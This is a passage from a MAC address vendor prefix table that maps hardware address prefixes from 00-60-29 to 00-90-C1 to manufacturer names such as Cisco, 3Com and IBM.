+00-60-29:CARY PERIPHERALS INC. +00-60-2A:SYMICRON COMPUTER COMMUNICATIONS, LTD. +00-60-2B:PEAK AUDIO +00-60-2C:LINX Data Terminals, Inc. +00-60-2D:ALERTON TECHNOLOGIES, INC. +00-60-2E:CYCLADES CORPORATION +00-60-2F:CISCO SYSTEMS, INC. +00-60-30:VILLAGE TRONIC ENTWICKLUNG +00-60-31:HRK SYSTEMS +00-60-32:I-CUBE, INC. +00-60-33:ACUITY IMAGING, INC. +00-60-34:ROBERT BOSCH GmbH +00-60-35:DALLAS SEMICONDUCTOR, INC. +00-60-36:AUSTRIAN RESEARCH CENTER SEIBERSDORF +00-60-37:PHILIPS SEMICONDUCTORS +00-60-38:Nortel Networks +00-60-39:SanCom Technology, Inc. +00-60-3A:QUICK CONTROLS LTD. +00-60-3B:AMTEC spa +00-60-3C:HAGIWARA SYS-COM CO., LTD. +00-60-3D:3CX +00-60-3E:CISCO SYSTEMS, INC. +00-60-3F:PATAPSCO DESIGNS +00-60-40:NETRO CORP. +00-60-41:Yokogawa Electric Corporation +00-60-42:TKS (USA), INC. +00-60-43:ComSoft Systems, Inc. +00-60-44:LITTON/POLY-SCIENTIFIC +00-60-45:PATHLIGHT TECHNOLOGIES +00-60-46:VMETRO, INC. +00-60-47:CISCO SYSTEMS, INC. +00-60-48:EMC CORPORATION +00-60-49:VINA TECHNOLOGIES +00-60-4A:SAIC IDEAS GROUP +00-60-4B:BIODATA GmbH +00-60-4C:SAGEM SA +00-60-4D:MMC NETWORKS, INC. +00-60-4E:CYCLE COMPUTER CORPORATION, INC. +00-60-4F:SUZUKI MFG. CO., LTD. +00-60-50:INTERNIX INC. +00-60-51:QUALITY SEMICONDUCTOR +00-60-52:PERIPHERALS ENTERPRISE CO., Ltd. +00-60-53:TOYODA MACHINE WORKS, LTD. +00-60-54:CONTROLWARE GMBH +00-60-55:CORNELL UNIVERSITY +00-60-56:NETWORK TOOLS, INC. +00-60-57:MURATA MANUFACTURING CO., LTD. +00-60-58:COPPER MOUNTAIN COMMUNICATIONS, INC. +00-60-59:TECHNICAL COMMUNICATIONS CORP. +00-60-5A:CELCORE, INC. +00-60-5B:IntraServer Technology, Inc. +00-60-5C:CISCO SYSTEMS, INC. +00-60-5D:SCANIVALVE CORP. +00-60-5E:LIBERTY TECHNOLOGY NETWORKING +00-60-5F:NIPPON UNISOFT CORPORATION +00-60-60:DAWNING TECHNOLOGIES, INC. +00-60-61:WHISTLE COMMUNICATIONS CORP. +00-60-62:TELESYNC, INC. +00-60-63:PSION DACOM PLC. +00-60-64:NETCOMM LIMITED +00-60-65:BERNECKER & RAINER INDUSTRIE-ELEKTRONIC GmbH +00-60-66:LACROIX TECHNOLGIE +00-60-67:ACER NETXUS INC. +00-60-68:EICON TECHNOLOGY CORPORATION +00-60-69:BROCADE COMMUNICATIONS SYSTEMS, Inc. +00-60-6A:MITSUBISHI WIRELESS COMMUNICATIONS. INC. +00-60-6B:Synclayer Inc. +00-60-6C:ARESCOM +00-60-6D:DIGITAL EQUIPMENT CORP. +00-60-6E:DAVICOM SEMICONDUCTOR, INC. +00-60-6F:CLARION CORPORATION OF AMERICA +00-60-70:CISCO SYSTEMS, INC. +00-60-71:MIDAS LAB, INC. +00-60-72:VXL INSTRUMENTS, LIMITED +00-60-73:REDCREEK COMMUNICATIONS, INC. +00-60-74:QSC AUDIO PRODUCTS +00-60-75:PENTEK, INC. +00-60-76:SCHLUMBERGER TECHNOLOGIES RETAIL PETROLEUM SYSTEMS +00-60-77:PRISA NETWORKS +00-60-78:POWER MEASUREMENT LTD. +00-60-79:Mainstream Data, Inc. +00-60-7A:DVS GmbH +00-60-7B:FORE SYSTEMS, INC. +00-60-7C:WaveAccess, Ltd. +00-60-7D:SENTIENT NETWORKS INC. +00-60-7E:GIGALABS, INC. +00-60-7F:AURORA TECHNOLOGIES, INC. +00-60-80:MICROTRONIX DATACOM LTD. +00-60-81:TV/COM INTERNATIONAL +00-60-82:NOVALINK TECHNOLOGIES, INC. +00-60-83:CISCO SYSTEMS, INC. +00-60-84:DIGITAL VIDEO +00-60-85:Storage Concepts +00-60-86:LOGIC REPLACEMENT TECH. LTD. +00-60-87:KANSAI ELECTRIC CO., LTD. +00-60-88:WHITE MOUNTAIN DSP, INC. +00-60-89:XATA +00-60-8A:CITADEL COMPUTER +00-60-8B:ConferTech International +00-60-8C:3COM CORPORATION +00-60-8D:UNIPULSE CORP. +00-60-8E:HE ELECTRONICS, TECHNOLOGIE & SYSTEMTECHNIK GmbH +00-60-8F:TEKRAM TECHNOLOGY CO., LTD. +00-60-90:ABLE COMMUNICATIONS, INC. +00-60-91:FIRST PACIFIC NETWORKS, INC. +00-60-92:MICRO/SYS, INC. +00-60-93:VARIAN +00-60-94:IBM CORP. +00-60-95:ACCU-TIME SYSTEMS, INC. +00-60-96:T.S. MICROTECH INC. +00-60-97:3COM CORPORATION +00-60-98:HT COMMUNICATIONS +00-60-99:SBE, Inc. +00-60-9A:NJK TECHNO CO. +00-60-9B:ASTRO-MED, INC. +00-60-9C:Perkin-Elmer Incorporated +00-60-9D:PMI FOOD EQUIPMENT GROUP +00-60-9E:ASC X3 - INFORMATION TECHNOLOGY STANDARDS SECRETARIATS +00-60-9F:PHAST CORPORATION +00-60-A0:SWITCHED NETWORK TECHNOLOGIES, INC. +00-60-A1:VPNet, Inc. +00-60-A2:NIHON UNISYS LIMITED CO. +00-60-A3:CONTINUUM TECHNOLOGY CORP. +00-60-A4:GRINAKER SYSTEM TECHNOLOGIES +00-60-A5:PERFORMANCE TELECOM CORP. +00-60-A6:PARTICLE MEASURING SYSTEMS +00-60-A7:MICROSENS GmbH & CO. KG +00-60-A8:TIDOMAT AB +00-60-A9:GESYTEC MbH +00-60-AA:INTELLIGENT DEVICES INC. (IDI) +00-60-AB:LARSCOM INCORPORATED +00-60-AC:RESILIENCE CORPORATION +00-60-AD:MegaChips Corporation +00-60-AE:TRIO INFORMATION SYSTEMS AB +00-60-AF:PACIFIC MICRO DATA, INC. +00-60-B0:HEWLETT-PACKARD CO. +00-60-B1:INPUT/OUTPUT, INC. +00-60-B2:PROCESS CONTROL CORP. +00-60-B3:Z-COM, INC. +00-60-B4:GLENAYRE R&D INC. +00-60-B5:KEBA GmbH +00-60-B6:LAND COMPUTER CO., LTD. +00-60-B7:CHANNELMATIC, INC. +00-60-B8:CORELIS INC. +00-60-B9:NITSUKO CORPORATION +00-60-BA:SAHARA NETWORKS, INC. +00-60-BB:CABLETRON - NETLINK, INC. +00-60-BC:KeunYoung Electronics & Communication Co., Ltd. +00-60-BD:HUBBELL-PULSECOM +00-60-BE:WEBTRONICS +00-60-BF:MACRAIGOR SYSTEMS, INC. +00-60-C0:NERA AS +00-60-C1:WaveSpan Corporation +00-60-C2:MPL AG +00-60-C3:NETVISION CORPORATION +00-60-C4:SOLITON SYSTEMS K.K. +00-60-C5:ANCOT CORP. +00-60-C6:DCS AG +00-60-C7:AMATI COMMUNICATIONS CORP. +00-60-C8:KUKA WELDING SYSTEMS & ROBOTS +00-60-C9:ControlNet, Inc. +00-60-CA:HARMONIC SYSTEMS INCORPORATED +00-60-CB:HITACHI ZOSEN CORPORATION +00-60-CC:EMTRAK, INCORPORATED +00-60-CD:VideoServer, Inc. +00-60-CE:ACCLAIM COMMUNICATIONS +00-60-CF:ALTEON NETWORKS, INC. +00-60-D0:SNMP RESEARCH INCORPORATED +00-60-D1:CASCADE COMMUNICATIONS +00-60-D2:LUCENT TECHNOLOGIES TAIWAN TELECOMMUNICATIONS CO., LTD. +00-60-D3:AT&T +00-60-D4:ELDAT COMMUNICATION LTD. +00-60-D5:MIYACHI TECHNOS CORP. +00-60-D6:NovAtel Wireless Technologies Ltd. +00-60-D7:ECOLE POLYTECHNIQUE FEDERALE DE LAUSANNE (EPFL) +00-60-D8:ELMIC SYSTEMS, INC. +00-60-D9:TRANSYS NETWORKS INC. +00-60-DA:JBM ELECTRONICS CO. +00-60-DB:NTP ELEKTRONIK A/S +00-60-DC:TOYO COMMUNICATION EQUIPMENT Co., Ltd. +00-60-DD:MYRICOM, INC. +00-60-DE:KAYSER-THREDE GmbH +00-60-DF:CNT Corporation +00-60-E0:AXIOM TECHNOLOGY CO., LTD. +00-60-E1:ORCKIT COMMUNICATIONS LTD. +00-60-E2:QUEST ENGINEERING & DEVELOPMENT +00-60-E3:ARBIN INSTRUMENTS +00-60-E4:COMPUSERVE, INC. +00-60-E5:FUJI AUTOMATION CO., LTD. +00-60-E6:SHOMITI SYSTEMS INCORPORATED +00-60-E7:RANDATA +00-60-E8:HITACHI COMPUTER PRODUCTS (AMERICA), INC. +00-60-E9:ATOP TECHNOLOGIES, INC. +00-60-EA:StreamLogic +00-60-EB:FOURTHTRACK SYSTEMS +00-60-EC:HERMARY OPTO ELECTRONICS INC. +00-60-ED:RICARDO TEST AUTOMATION LTD. +00-60-EE:APOLLO +00-60-EF:FLYTECH TECHNOLOGY CO., LTD. +00-60-F0:JOHNSON & JOHNSON MEDICAL, INC +00-60-F1:EXP COMPUTER, INC. +00-60-F2:LASERGRAPHICS, INC. +00-60-F3:Performance Analysis Broadband, Spirent plc +00-60-F4:ADVANCED COMPUTER SOLUTIONS, Inc. +00-60-F5:ICON WEST, INC. +00-60-F6:NEXTEST COMMUNICATIONS PRODUCTS, INC. +00-60-F7:DATAFUSION SYSTEMS +00-60-F8:Loran International Technologies Inc. +00-60-F9:DIAMOND LANE COMMUNICATIONS +00-60-FA:EDUCATIONAL TECHNOLOGY RESOURCES, INC. +00-60-FB:PACKETEER, INC. +00-60-FC:CONSERVATION THROUGH INNOVATION LTD. +00-60-FD:NetICs, Inc. +00-60-FE:LYNX SYSTEM DEVELOPERS, INC. +00-60-FF:QuVis, Inc. +00-70-B0:M/A-COM INC. COMPANIES +00-70-B3:DATA RECALL LTD. +00-80-00:MULTITECH SYSTEMS, INC. +00-80-01:PERIPHONICS CORPORATION +00-80-02:SATELCOM (UK) LTD +00-80-03:HYTEC ELECTRONICS LTD. +00-80-04:ANTLOW COMMUNICATIONS, LTD. +00-80-05:CACTUS COMPUTER INC. +00-80-06:COMPUADD CORPORATION +00-80-07:DLOG NC-SYSTEME +00-80-08:DYNATECH COMPUTER SYSTEMS +00-80-09:JUPITER SYSTEMS, INC. +00-80-0A:JAPAN COMPUTER CORP. +00-80-0B:CSK CORPORATION +00-80-0C:VIDECOM LIMITED +00-80-0D:VOSSWINKEL F.U. +00-80-0E:ATLANTIX CORPORATION +00-80-0F:STANDARD MICROSYSTEMS +00-80-10:COMMODORE INTERNATIONAL +00-80-11:DIGITAL SYSTEMS INT'L. INC. +00-80-12:INTEGRATED MEASUREMENT SYSTEMS +00-80-13:THOMAS-CONRAD CORPORATION +00-80-14:ESPRIT SYSTEMS +00-80-15:SEIKO SYSTEMS, INC. +00-80-16:WANDEL AND GOLTERMANN +00-80-17:PFU LIMITED +00-80-18:KOBE STEEL, LTD. +00-80-19:DAYNA COMMUNICATIONS, INC. +00-80-1A:BELL ATLANTIC +00-80-1B:KODIAK TECHNOLOGY +00-80-1C:NEWPORT SYSTEMS SOLUTIONS +00-80-1D:INTEGRATED INFERENCE MACHINES +00-80-1E:XINETRON, INC. +00-80-1F:KRUPP ATLAS ELECTRONIK GMBH +00-80-20:NETWORK PRODUCTS +00-80-21:Alcatel Canada Inc. +00-80-22:SCAN-OPTICS +00-80-23:INTEGRATED BUSINESS NETWORKS +00-80-24:KALPANA, INC. +00-80-25:STOLLMANN GMBH +00-80-26:NETWORK PRODUCTS CORPORATION +00-80-27:ADAPTIVE SYSTEMS, INC. +00-80-28:TRADPOST (HK) LTD +00-80-29:EAGLE TECHNOLOGY, INC. +00-80-2A:TEST SYSTEMS & SIMULATIONS INC +00-80-2B:INTEGRATED MARKETING CO +00-80-2C:THE SAGE GROUP PLC +00-80-2D:XYLOGICS INC +00-80-2E:CASTLE ROCK COMPUTING +00-80-2F:NATIONAL INSTRUMENTS CORP. +00-80-30:NEXUS ELECTRONICS +00-80-31:BASYS, CORP. +00-80-32:ACCESS CO., LTD. +00-80-33:FORMATION, INC. +00-80-34:SMT GOUPIL +00-80-35:TECHNOLOGY WORKS, INC. +00-80-36:REFLEX MANUFACTURING SYSTEMS +00-80-37:Ericsson Group +00-80-38:DATA RESEARCH & APPLICATIONS +00-80-39:ALCATEL STC AUSTRALIA +00-80-3A:VARITYPER, INC. +00-80-3B:APT COMMUNICATIONS, INC. +00-80-3C:TVS ELECTRONICS LTD +00-80-3D:SURIGIKEN CO., LTD. +00-80-3E:SYNERNETICS +00-80-3F:TATUNG COMPANY +00-80-40:JOHN FLUKE MANUFACTURING CO. +00-80-41:VEB KOMBINAT ROBOTRON +00-80-42:FORCE COMPUTERS +00-80-43:NETWORLD, INC. +00-80-44:SYSTECH COMPUTER CORP. +00-80-45:MATSUSHITA ELECTRIC IND. CO +00-80-46:UNIVERSITY OF TORONTO +00-80-47:IN-NET CORP. +00-80-48:COMPEX INCORPORATED +00-80-49:NISSIN ELECTRIC CO., LTD. +00-80-4A:PRO-LOG +00-80-4B:EAGLE TECHNOLOGIES PTY.LTD. +00-80-4C:CONTEC CO., LTD. +00-80-4D:CYCLONE MICROSYSTEMS, INC. +00-80-4E:APEX COMPUTER COMPANY +00-80-4F:DAIKIN INDUSTRIES, LTD. +00-80-50:ZIATECH CORPORATION +00-80-51:FIBERMUX +00-80-52:TECHNICALLY ELITE CONCEPTS +00-80-53:INTELLICOM, INC. +00-80-54:FRONTIER TECHNOLOGIES CORP. +00-80-55:FERMILAB +00-80-56:SPHINX ELEKTRONIK GMBH +00-80-57:ADSOFT, LTD. +00-80-58:PRINTER SYSTEMS CORPORATION +00-80-59:STANLEY ELECTRIC CO., LTD +00-80-5A:TULIP COMPUTERS INTERNAT'L B.V +00-80-5B:CONDOR SYSTEMS, INC. +00-80-5C:AGILIS CORPORATION +00-80-5D:CANSTAR +00-80-5E:LSI LOGIC CORPORATION +00-80-5F:COMPAQ COMPUTER CORPORATION +00-80-60:NETWORK INTERFACE CORPORATION +00-80-61:LITTON SYSTEMS, INC. +00-80-62:INTERFACE CO. +00-80-63:RICHARD HIRSCHMANN GMBH & CO. +00-80-64:WYSE TECHNOLOGY +00-80-65:CYBERGRAPHIC SYSTEMS PTY LTD. +00-80-66:ARCOM CONTROL SYSTEMS, LTD. +00-80-67:SQUARE D COMPANY +00-80-68:YAMATECH SCIENTIFIC LTD. +00-80-69:COMPUTONE SYSTEMS +00-80-6A:ERI (EMPAC RESEARCH INC.) +00-80-6B:SCHMID TELECOMMUNICATION +00-80-6C:CEGELEC PROJECTS LTD +00-80-6D:CENTURY SYSTEMS CORP. +00-80-6E:NIPPON STEEL CORPORATION +00-80-6F:ONELAN LTD. +00-80-70:COMPUTADORAS MICRON +00-80-71:SAI TECHNOLOGY +00-80-72:MICROPLEX SYSTEMS LTD. +00-80-73:DWB ASSOCIATES +00-80-74:FISHER CONTROLS +00-80-75:PARSYTEC GMBH +00-80-76:MCNC +00-80-77:BROTHER INDUSTRIES, LTD. +00-80-78:PRACTICAL PERIPHERALS, INC. +00-80-79:MICROBUS DESIGNS LTD. +00-80-7A:AITECH SYSTEMS LTD. +00-80-7B:ARTEL COMMUNICATIONS CORP. +00-80-7C:FIBERCOM, INC. +00-80-7D:EQUINOX SYSTEMS INC. +00-80-7E:SOUTHERN PACIFIC LTD. +00-80-7F:DY-4 INCORPORATED +00-80-80:DATAMEDIA CORPORATION +00-80-81:KENDALL SQUARE RESEARCH CORP. +00-80-82:PEP MODULAR COMPUTERS GMBH +00-80-83:AMDAHL +00-80-84:THE CLOUD INC. +00-80-85:H-THREE SYSTEMS CORPORATION +00-80-86:COMPUTER GENERATION INC. +00-80-87:OKI ELECTRIC INDUSTRY CO., LTD +00-80-88:VICTOR COMPANY OF JAPAN, LTD. +00-80-89:TECNETICS (PTY) LTD. +00-80-8A:SUMMIT MICROSYSTEMS CORP. +00-80-8B:DACOLL LIMITED +00-80-8C:NetScout Systems, Inc. +00-80-8D:WESTCOAST TECHNOLOGY B.V. +00-80-8E:RADSTONE TECHNOLOGY +00-80-8F:C. ITOH ELECTRONICS, INC. +00-80-90:MICROTEK INTERNATIONAL, INC. +00-80-91:TOKYO ELECTRIC CO.,LTD +00-80-92:JAPAN COMPUTER INDUSTRY, INC. +00-80-93:XYRON CORPORATION +00-80-94:ALFA LAVAL AUTOMATION AB +00-80-95:BASIC MERTON HANDELSGES.M.B.H. +00-80-96:HUMAN DESIGNED SYSTEMS, INC. +00-80-97:CENTRALP AUTOMATISMES +00-80-98:TDK CORPORATION +00-80-99:KLOCKNER MOELLER IPC +00-80-9A:NOVUS NETWORKS LTD +00-80-9B:JUSTSYSTEM CORPORATION +00-80-9C:LUXCOM, INC. +00-80-9D:Commscraft Ltd. +00-80-9E:DATUS GMBH +00-80-9F:ALCATEL BUSINESS SYSTEMS +00-80-A0:EDISA HEWLETT PACKARD S/A +00-80-A1:MICROTEST, INC. +00-80-A2:CREATIVE ELECTRONIC SYSTEMS +00-80-A3:LANTRONIX +00-80-A4:LIBERTY ELECTRONICS +00-80-A5:SPEED INTERNATIONAL +00-80-A6:REPUBLIC TECHNOLOGY, INC. +00-80-A7:MEASUREX CORP. +00-80-A8:VITACOM CORPORATION +00-80-A9:CLEARPOINT RESEARCH +00-80-AA:MAXPEED +00-80-AB:DUKANE NETWORK INTEGRATION +00-80-AC:IMLOGIX, DIVISION OF GENESYS +00-80-AD:CNET TECHNOLOGY, INC. +00-80-AE:HUGHES NETWORK SYSTEMS +00-80-AF:ALLUMER CO., LTD. +00-80-B0:ADVANCED INFORMATION +00-80-B1:SOFTCOM A/S +00-80-B2:NETWORK EQUIPMENT TECHNOLOGIES +00-80-B3:AVAL DATA CORPORATION +00-80-B4:SOPHIA SYSTEMS +00-80-B5:UNITED NETWORKS INC. +00-80-B6:THEMIS COMPUTER +00-80-B7:STELLAR COMPUTER +00-80-B8:BUG, INCORPORATED +00-80-B9:ARCHE TECHNOLIGIES INC. +00-80-BA:SPECIALIX (ASIA) PTE, LTD +00-80-BB:HUGHES LAN SYSTEMS +00-80-BC:HITACHI ENGINEERING CO., LTD +00-80-BD:THE FURUKAWA ELECTRIC CO., LTD +00-80-BE:ARIES RESEARCH +00-80-BF:TAKAOKA ELECTRIC MFG. CO. LTD. +00-80-C0:PENRIL DATACOMM +00-80-C1:LANEX CORPORATION +00-80-C2:IEEE 802.1 COMMITTEE +00-80-C3:BICC INFORMATION SYSTEMS & SVC +00-80-C4:DOCUMENT TECHNOLOGIES, INC. +00-80-C5:NOVELLCO DE MEXICO +00-80-C6:NATIONAL DATACOMM CORPORATION +00-80-C7:XIRCOM +00-80-C8:D-LINK SYSTEMS, INC. +00-80-C9:ALBERTA MICROELECTRONIC CENTRE +00-80-CA:NETCOM RESEARCH INCORPORATED +00-80-CB:FALCO DATA PRODUCTS +00-80-CC:MICROWAVE BYPASS SYSTEMS +00-80-CD:MICRONICS COMPUTER, INC. +00-80-CE:BROADCAST TELEVISION SYSTEMS +00-80-CF:EMBEDDED PERFORMANCE INC. +00-80-D0:COMPUTER PERIPHERALS, INC. +00-80-D1:KIMTRON CORPORATION +00-80-D2:SHINNIHONDENKO CO., LTD. +00-80-D3:SHIVA CORP. +00-80-D4:CHASE RESEARCH LTD. +00-80-D5:CADRE TECHNOLOGIES +00-80-D6:NUVOTECH, INC. +00-80-D7:Fantum Engineering +00-80-D8:NETWORK PERIPHERALS INC. +00-80-D9:EMK ELEKTRONIK +00-80-DA:BRUEL & KJAER +00-80-DB:GRAPHON CORPORATION +00-80-DC:PICKER INTERNATIONAL +00-80-DD:GMX INC/GIMIX +00-80-DE:GIPSI S.A. +00-80-DF:ADC CODENOLL TECHNOLOGY CORP. +00-80-E0:XTP SYSTEMS, INC. +00-80-E1:STMICROELECTRONICS +00-80-E2:T.D.I. CO., LTD. +00-80-E3:CORAL NETWORK CORPORATION +00-80-E4:NORTHWEST DIGITAL SYSTEMS, INC +00-80-E5:MYLEX CORPORATION +00-80-E6:PEER NETWORKS, INC. +00-80-E7:LYNWOOD SCIENTIFIC DEV. LTD. +00-80-E8:CUMULUS CORPORATIION +00-80-E9:Madge Ltd. +00-80-EA:ADVA Optical Networking Ltd. +00-80-EB:COMPCONTROL B.V. +00-80-EC:SUPERCOMPUTING SOLUTIONS, INC. +00-80-ED:IQ TECHNOLOGIES, INC. +00-80-EE:THOMSON CSF +00-80-EF:RATIONAL +00-80-F0:Panasonic Communications Co., Ltd. +00-80-F1:OPUS SYSTEMS +00-80-F2:RAYCOM SYSTEMS INC +00-80-F3:SUN ELECTRONICS CORP. +00-80-F4:TELEMECANIQUE ELECTRIQUE +00-80-F5:QUANTEL LTD +00-80-F6:SYNERGY MICROSYSTEMS +00-80-F7:ZENITH ELECTRONICS +00-80-F8:MIZAR, INC. +00-80-F9:HEURIKON CORPORATION +00-80-FA:RWT GMBH +00-80-FB:BVM LIMITED +00-80-FC:AVATAR CORPORATION +00-80-FD:EXSCEED CORPRATION +00-80-FE:AZURE TECHNOLOGIES, INC. +00-80-FF:SOC. DE TELEINFORMATIQUE RTC +00-90-00:DIAMOND MULTIMEDIA +00-90-01:NISHIMU ELECTRONICS INDUSTRIES CO., LTD. +00-90-02:ALLGON AB +00-90-03:APLIO +00-90-04:3COM EUROPE LTD. +00-90-05:PROTECH SYSTEMS CO., LTD. +00-90-06:HAMAMATSU PHOTONICS K.K. +00-90-07:DOMEX TECHNOLOGY CORP. +00-90-08:HanA Systems Inc. +00-90-09:i Controls, Inc. +00-90-0A:PROTON ELECTRONIC INDUSTRIAL CO., LTD. +00-90-0B:LANNER ELECTRONICS, INC. +00-90-0C:CISCO SYSTEMS, INC. +00-90-0D:OVERLAND DATA INC. +00-90-0E:HANDLINK TECHNOLOGIES, INC. +00-90-0F:KAWASAKI HEAVY INDUSTRIES, LTD +00-90-10:SIMULATION LABORATORIES, INC. +00-90-11:WAVTrace, Inc. +00-90-12:GLOBESPAN SEMICONDUCTOR, INC. +00-90-13:SAMSAN CORP. +00-90-14:ROTORK INSTRUMENTS, LTD. +00-90-15:CENTIGRAM COMMUNICATIONS CORP. +00-90-16:ZAC +00-90-17:ZYPCOM, INC. +00-90-18:ITO ELECTRIC INDUSTRY CO, LTD. +00-90-19:HERMES ELECTRONICS CO., LTD. +00-90-1A:UNISPHERE SOLUTIONS +00-90-1B:DIGITAL CONTROLS +00-90-1C:mps Software Gmbh +00-90-1D:PEC (NZ) LTD. +00-90-1E:SELESTA INGEGNE RIA S.P.A. +00-90-1F:ADTEC PRODUCTIONS, INC. +00-90-20:PHILIPS ANALYTICAL X-RAY B.V. +00-90-21:CISCO SYSTEMS, INC. +00-90-22:IVEX +00-90-23:ZILOG INC. +00-90-24:PIPELINKS, INC. +00-90-25:VISION SYSTEMS LTD. PTY +00-90-26:ADVANCED SWITCHING COMMUNICATIONS, INC. +00-90-27:INTEL CORPORATION +00-90-28:NIPPON SIGNAL CO., LTD. +00-90-29:CRYPTO AG +00-90-2A:COMMUNICATION DEVICES, INC. +00-90-2B:CISCO SYSTEMS, INC. +00-90-2C:DATA & CONTROL EQUIPMENT LTD. +00-90-2D:DATA ELECTRONICS (AUST.) PTY, LTD. +00-90-2E:NAMCO LIMITED +00-90-2F:NETCORE SYSTEMS, INC. +00-90-30:HONEYWELL-DATING +00-90-31:MYSTICOM, LTD. +00-90-32:PELCOMBE GROUP LTD. +00-90-33:INNOVAPHONE GmbH +00-90-34:IMAGIC, INC. +00-90-35:ALPHA TELECOM, INC. +00-90-36:ens, inc. +00-90-37:ACUCOMM, INC. +00-90-38:FOUNTAIN TECHNOLOGIES, INC. +00-90-39:SHASTA NETWORKS +00-90-3A:NIHON MEDIA TOOL INC. +00-90-3B:TriEMS Research Lab, Inc. +00-90-3C:ATLANTIC NETWORK SYSTEMS +00-90-3D:BIOPAC SYSTEMS, INC. +00-90-3E:N.V. PHILIPS INDUSTRIAL ACTIVITIES +00-90-3F:AZTEC RADIOMEDIA +00-90-40:Siemens Network Convergence LLC +00-90-41:APPLIED DIGITAL ACCESS +00-90-42:ECCS, Inc. +00-90-43:NICHIBEI DENSHI CO., LTD. +00-90-44:ASSURED DIGITAL, INC. +00-90-45:Marconi Communications +00-90-46:DEXDYNE, LTD. +00-90-47:GIGA FAST E. LTD. +00-90-48:ZEAL CORPORATION +00-90-49:ENTRIDIA CORPORATION +00-90-4A:CONCUR SYSTEM TECHNOLOGIES +00-90-4B:GemTek Technology Co., Ltd. +00-90-4C:EPIGRAM, INC. +00-90-4D:SPEC S.A. +00-90-4E:DELEM BV +00-90-4F:ABB POWER T&D COMPANY, INC. +00-90-50:TELESTE OY +00-90-51:ULTIMATE TECHNOLOGY CORP. +00-90-52:SELCOM ELETTRONICA S.R.L. +00-90-53:DAEWOO ELECTRONICS CO., LTD. +00-90-54:INNOVATIVE SEMICONDUCTORS, INC +00-90-55:PARKER HANNIFIN CORPORATION COMPUMOTOR DIVISION +00-90-56:TELESTREAM, INC. +00-90-57:AANetcom, Inc. +00-90-58:Ultra Electronics Ltd., Command and Control Systems +00-90-59:TELECOM DEVICE K.K. +00-90-5A:DEARBORN GROUP, INC. +00-90-5B:RAYMOND AND LAE ENGINEERING +00-90-5C:EDMI +00-90-5D:NETCOM SICHERHEITSTECHNIK GmbH +00-90-5E:RAULAND-BORG CORPORATION +00-90-5F:CISCO SYSTEMS, INC. +00-90-60:SYSTEM CREATE CORP. +00-90-61:PACIFIC RESEARCH & ENGINEERING CORPORATION +00-90-62:ICP VORTEX COMPUTERSYSTEME GmbH +00-90-63:COHERENT COMMUNICATIONS SYSTEMS CORPORATION +00-90-64:THOMSON BROADCAST SYSTEMS +00-90-65:FINISAR CORPORATION +00-90-66:Troika Networks, Inc. +00-90-67:WalkAbout Computers, Inc. +00-90-68:DVT CORP. +00-90-69:JUNIPER NETWORKS, INC. +00-90-6A:TURNSTONE SYSTEMS, INC. +00-90-6B:APPLIED RESOURCES, INC. +00-90-6C:GWT GLOBAL WEIGHING TECHNOLOGIES GmbH +00-90-6D:CISCO SYSTEMS, INC. +00-90-6E:PRAXON, INC. +00-90-6F:CISCO SYSTEMS, INC. +00-90-70:NEO NETWORKS, INC. +00-90-71:Applied Innovation Inc. +00-90-72:SIMRAD AS +00-90-73:GAIO TECHNOLOGY +00-90-74:ARGON NETWORKS, INC. +00-90-75:NEC DO BRASIL S.A. +00-90-76:FMT AIRCRAFT GATE SUPPORT SYSTEMS AB +00-90-77:ADVANCED FIBRE COMMUNICATIONS +00-90-78:MER TELEMANAGEMENT SOLUTIONS, LTD. +00-90-79:ClearOne, Inc. +00-90-7A:SPECTRALINK CORP. +00-90-7B:E-TECH, INC. +00-90-7C:DIGITALCAST, INC. +00-90-7D:Lake Communications +00-90-7E:VETRONIX CORP. +00-90-7F:WatchGuard Technologies, Inc. +00-90-80:NOT LIMITED, INC. +00-90-81:ALOHA NETWORKS, INC. +00-90-82:FORCE INSTITUTE +00-90-83:TURBO COMMUNICATION, INC. +00-90-84:ATECH SYSTEM +00-90-85:GOLDEN ENTERPRISES, INC. +00-90-86:CISCO SYSTEMS, INC. +00-90-87:ITIS +00-90-88:BAXALL SECURITY LTD. +00-90-89:SOFTCOM MICROSYSTEMS, INC. +00-90-8A:BAYLY COMMUNICATIONS, INC. +00-90-8B:CELL COMPUTING, INC. +00-90-8C:ETREND ELECTRONICS, INC. +00-90-8D:VICKERS ELECTRONICS SYSTEMS +00-90-8E:Nortel Networks Broadband Access +00-90-8F:AUDIO CODES LTD. +00-90-90:I-BUS +00-90-91:DigitalScape, Inc. +00-90-92:CISCO SYSTEMS, INC. +00-90-93:NANAO CORPORATION +00-90-94:OSPREY TECHNOLOGIES, INC. +00-90-95:UNIVERSAL AVIONICS +00-90-96:ASKEY COMPUTER CORP. +00-90-97:SYCAMORE NETWORKS +00-90-98:SBC DESIGNS, INC. +00-90-99:ALLIED TELESIS, K.K. +00-90-9A:ONE WORLD SYSTEMS, INC. +00-90-9B:MARKPOINT AB +00-90-9C:Terayon Communications Systems +00-90-9D:NovaTech Process Solutions, LLC +00-90-9E:Critical IO, LLC +00-90-9F:DIGI-DATA CORPORATION +00-90-A0:8X8 INC. +00-90-A1:FLYING PIG SYSTEMS, LTD. +00-90-A2:CYBERTAN TECHNOLOGY, INC. +00-90-A3:Corecess Inc. +00-90-A4:ALTIGA NETWORKS +00-90-A5:SPECTRA LOGIC +00-90-A6:CISCO SYSTEMS, INC. +00-90-A7:CLIENTEC CORPORATION +00-90-A8:NineTiles Networks, Ltd. +00-90-A9:WESTERN DIGITAL +00-90-AA:INDIGO ACTIVE VISION SYSTEMS LIMITED +00-90-AB:CISCO SYSTEMS, INC. +00-90-AC:OPTIVISION, INC. +00-90-AD:ASPECT ELECTRONICS, INC. +00-90-AE:ITALTEL S.p.A. +00-90-AF:J. MORITA MFG. CORP. +00-90-B0:VADEM +00-90-B1:CISCO SYSTEMS, INC. +00-90-B2:AVICI SYSTEMS INC. +00-90-B3:AGRANAT SYSTEMS +00-90-B4:WILLOWBROOK TECHNOLOGIES +00-90-B5:NIKON CORPORATION +00-90-B6:FIBEX SYSTEMS +00-90-B7:DIGITAL LIGHTWAVE, INC. +00-90-B8:ROHDE & SCHWARZ GMBH & CO. KG +00-90-B9:BERAN INSTRUMENTS LTD. +00-90-BA:VALID NETWORKS, INC. +00-90-BB:TAINET COMMUNICATION SYSTEM Corp. +00-90-BC:TELEMANN CO., LTD. +00-90-BD:OMNIA COMMUNICATIONS, INC. +00-90-BE:IBC/INTEGRATED BUSINESS COMPUTERS +00-90-BF:CISCO SYSTEMS, INC. +00-90-C0:K.J. LAW ENGINEERS, INC. +00-90-C1:Peco 